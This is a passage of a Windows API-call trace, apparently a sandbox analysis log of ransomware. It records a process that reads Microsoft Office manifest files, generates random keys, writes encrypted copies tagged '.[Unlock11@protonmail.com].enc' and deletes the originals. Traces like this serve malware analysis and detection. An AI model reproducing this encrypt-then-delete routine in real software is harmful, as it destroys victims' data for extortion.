hHeap=0x2ad0000) returned 1 [0134.128] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37940d0, Size=0x4b65) returned 0x37940d0 [0134.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6668 [0134.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4b68) returned 0x36f8548 [0134.128] GetLastError () returned 0x0 [0134.128] GetLastError () returned 0x0 [0134.128] GetLastError () returned 0x0 [0134.128] GetLastError () returned 0x0 [0134.129] GetCurrentThreadId () returned 0x9b0 [0134.129] GetLastError () returned 0x0 [0134.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.129] GetCurrentThreadId () returned 0x9b0 [0134.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0134.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.129] GetLastError () returned 0x0 [0134.129] GetLastError () returned 0x0 [0134.130] GetCurrentThreadId () returned 0x9b0 [0134.130] GetLastError () returned 0x0 [0134.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fd0b8 | out: hHeap=0x2ad0000) returned 1 [0134.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.130] GetLastError () returned 0x0 [0134.130] GetLastError () returned 0x0 [0134.130] GetCurrentThreadId () returned 0x9b0 [0134.130] GetLastError () returned 0x0 [0134.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.131] GetLastError () returned 0x0 [0134.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.131] CloseHandle (hObject=0x3ac) returned 1 [0134.132] GetLastError () returned 0x0 [0134.132] GetCurrentThreadId () returned 0x9b0 [0134.132] GetLastError () returned 0x0 [0134.132] GetLastError () returned 0x0 [0134.132] CloseHandle (hObject=0x39c) returned 1 [0134.132] GetLastError () returned 0x0 [0134.132] GetCurrentThreadId () returned 0x9b0 [0134.132] GetLastError () returned 0x0 [0134.132] GetLastError () returned 0x0 [0134.133] GetLastError () returned 0x0 [0134.133] GetLastError () returned 0x0 [0134.133] GetLastError () returned 0x0 [0134.133] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0134.135] GetLastError () returned 0x0 [0134.135] GetCurrentThreadId () returned 0x9b0 [0134.135] GetLastError () returned 0x0 [0134.135] GetLastError () returned 0x0 [0134.135] GetLastError () returned 0x0 [0134.135] GetLastError () returned 0x0 [0134.136] GetLastError () returned 0x0 [0134.136] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.136] GetCurrentThreadId () returned 0x9b0 [0134.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0134.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0134.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea918 [0134.136] GetLastError () returned 0x0 [0134.136] GetLastError () returned 0x0 [0134.137] GetLastError () returned 0x0 [0134.137] GetLastError () returned 0x0 [0134.137] GetCurrentThreadId () returned 0x9b0 [0134.137] GetLastError () returned 0x0 [0134.137] GetCurrentThreadId () returned 0x9b0 [0134.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea918 | out: hHeap=0x2ad0000) returned 1 [0134.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead28 [0134.137] GetLastError () returned 0x0 [0134.137] GetLastError () returned 0x0 [0134.137] GetLastError () returned 0x0 [0134.137] GetLastError () returned 0x0 [0134.137] GetCurrentThreadId () returned 0x9b0 [0134.138] GetLastError () returned 0x0 [0134.138] GetLastError () returned 0x0 [0134.138] GetLastError () returned 0x0 [0134.138] GetLastError () returned 0x0 [0134.138] GetLastError () returned 0x0 [0134.138] GetCurrentThreadId () returned 0x9b0 [0134.138] GetLastError () returned 0x0 [0134.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead28 | out: hHeap=0x2ad0000) returned 1 [0134.138] GetLastError () returned 0x0 [0134.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0134.138] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] GetLastError () returned 0x0 [0134.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0134.140] GetLastError () returned 0x0 [0134.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.140] GetLastError () returned 0x0 [0134.140] GetLastError () returned 0x0 [0134.140] GetLastError () returned 0x0 [0134.140] GetLastError () returned 0x0 [0134.140] GetLastError () returned 0x0 [0134.140] GetLastError () returned 0x0 [0134.140] GetLastError () returned 0x0 [0134.140] GetLastError () returned 0x0 [0134.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.141] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.141] GetLastError () returned 0x0 [0134.141] GetLastError () returned 0x0 [0134.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0134.141] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b69c | out: pbBuffer=0x366b69c) returned 1 [0134.141] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.141] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0134.141] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0134.142] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.142] GetLastError () returned 0x0 [0134.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0134.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65b8 [0134.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0134.143] GetLastError () returned 0x0 [0134.143] GetLastError () returned 0x0 [0134.143] GetLastError () returned 0x0 [0134.143] GetLastError () returned 0x0 [0134.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0134.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6638 [0134.143] GetLastError () returned 0x0 [0134.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.144] GetFileType (hFile=0x39c) returned 0x1 [0134.144] GetLastError () returned 0x0 [0134.144] GetLastError () returned 0x0 [0134.144] GetFileType (hFile=0x39c) returned 0x1 [0134.144] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.144] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.144] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.144] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.145] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.145] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.145] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.145] GetLastError () returned 0x0 [0134.145] GetCurrentThreadId () returned 0x9b0 [0134.145] GetLastError () returned 0x0 [0134.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6638 | out: hHeap=0x2ad0000) returned 1 [0134.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0134.145] GetLastError () returned 0x0 [0134.146] GetLastError () returned 0x0 [0134.146] GetLastError () returned 0x0 [0134.146] GetLastError () returned 0x0 [0134.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6738 [0134.146] GetLastError () returned 0x0 [0134.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.148] GetFileType (hFile=0x3ac) returned 0x1 [0134.148] GetLastError () returned 0x0 [0134.148] GetCurrentThreadId () returned 0x9b0 [0134.148] GetLastError () returned 0x0 [0134.148] GetFileType (hFile=0x3ac) returned 0x1 [0134.148] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.148] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.148] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.148] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.148] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.148] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.149] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.149] GetLastError () returned 0x0 [0134.149] GetCurrentThreadId () returned 0x9b0 [0134.149] GetLastError () returned 0x0 [0134.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6738 | out: hHeap=0x2ad0000) returned 1 [0134.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfbc8 | out: hHeap=0x2ad0000) returned 1 [0134.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0134.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.149] GetLastError () returned 0x0 [0134.149] GetLastError () returned 0x0 [0134.149] GetCurrentThreadId () returned 0x9b0 [0134.149] GetLastError () returned 0x0 [0134.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.150] GetLastError () returned 0x0 [0134.150] GetLastError () returned 0x0 [0134.150] GetCurrentThreadId () returned 0x9b0 [0134.150] GetLastError () returned 0x0 [0134.150] GetLastError () returned 0x0 [0134.151] GetLastError () returned 0x0 [0134.152] GetCurrentThreadId () returned 0x9b0 [0134.152] GetLastError () returned 0x0 [0134.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x38283e0 [0134.152] GetCurrentThreadId () returned 0x9b0 [0134.152] GetLastError () returned 0x0 [0134.152] GetLastError () returned 0x0 [0134.152] GetLastError () returned 0x0 [0134.152] GetLastError () returned 0x0 [0134.152] GetCurrentThreadId () returned 0x9b0 [0134.153] GetLastError () returned 0x0 [0134.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38283e0 | out: hHeap=0x2ad0000) returned 1 [0134.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.153] GetLastError () returned 0x0 [0134.153] GetLastError () returned 0x0 [0134.153] GetCurrentThreadId () returned 0x9b0 [0134.153] GetLastError () returned 0x0 [0134.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827e98 | out: hHeap=0x2ad0000) returned 1 [0134.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.153] GetLastError () returned 0x0 [0134.154] GetLastError () returned 0x0 [0134.154] GetCurrentThreadId () returned 0x9b0 [0134.154] GetLastError () returned 0x0 [0134.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.154] GetLastError () returned 0x0 [0134.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.155] CloseHandle (hObject=0x3ac) returned 1 [0134.155] GetLastError () returned 0x0 [0134.155] GetCurrentThreadId () returned 0x9b0 [0134.155] GetLastError () returned 0x0 [0134.155] GetLastError () returned 0x0 [0134.156] CloseHandle (hObject=0x39c) returned 1 [0134.156] GetLastError () returned 0x0 [0134.156] GetCurrentThreadId () returned 0x9b0 [0134.156] GetLastError () returned 0x0 [0134.156] GetLastError () returned 0x0 [0134.156] GetLastError () returned 0x0 [0134.156] GetLastError () returned 0x0 [0134.156] GetLastError () returned 0x0 [0134.156] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0134.157] GetLastError () returned 0x0 [0134.157] GetCurrentThreadId () returned 0x9b0 [0134.157] GetLastError () returned 0x0 [0134.158] GetLastError () returned 0x0 [0134.158] GetLastError () returned 0x0 [0134.158] GetLastError () returned 0x0 [0134.158] GetLastError () returned 0x0 [0134.158] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.158] GetCurrentThreadId () returned 0x9b0 [0134.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0134.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0134.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0134.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0134.159] GetCurrentThreadId () returned 0x9b0 [0134.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.159] GetLastError () returned 0x0 [0134.159] GetLastError () returned 0x0 [0134.159] GetLastError () returned 0x0 [0134.159] GetLastError () returned 0x0 [0134.159] GetCurrentThreadId () returned 0x9b0 [0134.159] GetLastError () returned 0x0 [0134.159] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0134.159] GetLastError () returned 0x0 [0134.160] GetLastError () returned 0x0 [0134.160] GetLastError () returned 0x0 [0134.160] GetLastError () returned 0x0 [0134.160] GetCurrentThreadId () returned 0x9b0 [0134.160] GetLastError () returned 0x0 [0134.160] GetCurrentThreadId () returned 0x9b0 [0134.160] GetLastError () returned 0x0 [0134.160] GetLastError () returned 0x0 [0134.160] GetLastError () returned 0x0 [0134.160] GetLastError () returned 0x0 [0134.160] GetCurrentThreadId () returned 0x9b0 [0134.161] GetLastError () returned 0x0 [0134.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabc0 | out: hHeap=0x2ad0000) returned 1 [0134.161] GetLastError () returned 0x0 [0134.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.210] GetLastError () returned 0x0 [0134.210] GetLastError () returned 0x0 [0134.210] GetLastError () returned 0x0 [0134.210] GetCurrentThreadId () returned 0x9b0 [0134.210] GetLastError () returned 0x0 [0134.210] GetLastError () returned 0x0 [0134.210] GetLastError () returned 0x0 [0134.210] GetLastError () returned 0x0 [0134.210] GetLastError () returned 0x0 [0134.211] GetCurrentThreadId () returned 0x9b0 [0134.211] GetLastError () returned 0x0 [0134.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0134.211] GetLastError () returned 0x0 [0134.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0134.211] GetLastError () returned 0x0 [0134.211] GetLastError () returned 0x0 [0134.211] GetLastError () returned 0x0 [0134.211] GetCurrentThreadId () returned 0x9b0 [0134.211] GetLastError () returned 0x0 [0134.211] GetLastError () returned 0x0 [0134.212] GetLastError () returned 0x0 [0134.212] GetLastError () returned 0x0 [0134.212] GetLastError () returned 0x0 [0134.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0134.212] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.212] GetLastError () returned 0x0 [0134.212] GetCurrentThreadId () returned 0x9b0 [0134.212] GetLastError () returned 0x0 [0134.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.213] GetCurrentThreadId () returned 0x9b0 [0134.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b5fc | out: pbBuffer=0x366b5fc) returned 1 [0134.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0134.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0134.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0134.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0134.213] GetCurrentThreadId () returned 0x9b0 [0134.213] GetLastError () returned 0x0 [0134.213] GetLastError () returned 0x0 [0134.213] GetLastError () returned 0x0 [0134.213] GetLastError () returned 0x0 [0134.214] GetCurrentThreadId () returned 0x9b0 [0134.214] GetLastError () returned 0x0 [0134.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0134.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaad0 [0134.214] GetLastError () returned 0x0 [0134.214] GetLastError () returned 0x0 [0134.214] GetLastError () returned 0x0 [0134.214] GetLastError () returned 0x0 [0134.214] GetCurrentThreadId () returned 0x9b0 [0134.214] GetLastError () returned 0x0 [0134.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaad0 | out: hHeap=0x2ad0000) returned 1 [0134.215] GetCurrentThreadId () returned 0x9b0 [0134.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65b8 [0134.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0134.215] GetLastError () returned 0x0 [0134.215] GetLastError () returned 0x0 [0134.215] GetLastError () returned 0x0 [0134.215] GetLastError () returned 0x0 [0134.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6598 [0134.215] GetLastError () returned 0x0 [0134.215] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.216] GetFileType (hFile=0x39c) returned 0x1 [0134.216] GetLastError () returned 0x0 [0134.216] GetCurrentThreadId () returned 0x9b0 [0134.216] GetLastError () returned 0x0 [0134.216] GetFileType (hFile=0x39c) returned 0x1 [0134.216] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.216] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.216] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.216] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.217] GetLastError () returned 0x0 [0134.217] GetCurrentThreadId () returned 0x9b0 [0134.217] GetLastError () returned 0x0 [0134.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0134.217] GetLastError () returned 0x0 [0134.217] GetLastError () returned 0x0 [0134.217] GetLastError () returned 0x0 [0134.217] GetLastError () returned 0x0 [0134.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6688 [0134.218] GetLastError () returned 0x0 [0134.218] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.218] GetFileType (hFile=0x3ac) returned 0x1 [0134.218] GetLastError () returned 0x0 [0134.218] GetCurrentThreadId () returned 0x9b0 [0134.219] GetLastError () returned 0x0 [0134.219] GetFileType (hFile=0x3ac) returned 0x1 [0134.219] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.219] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.219] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.219] 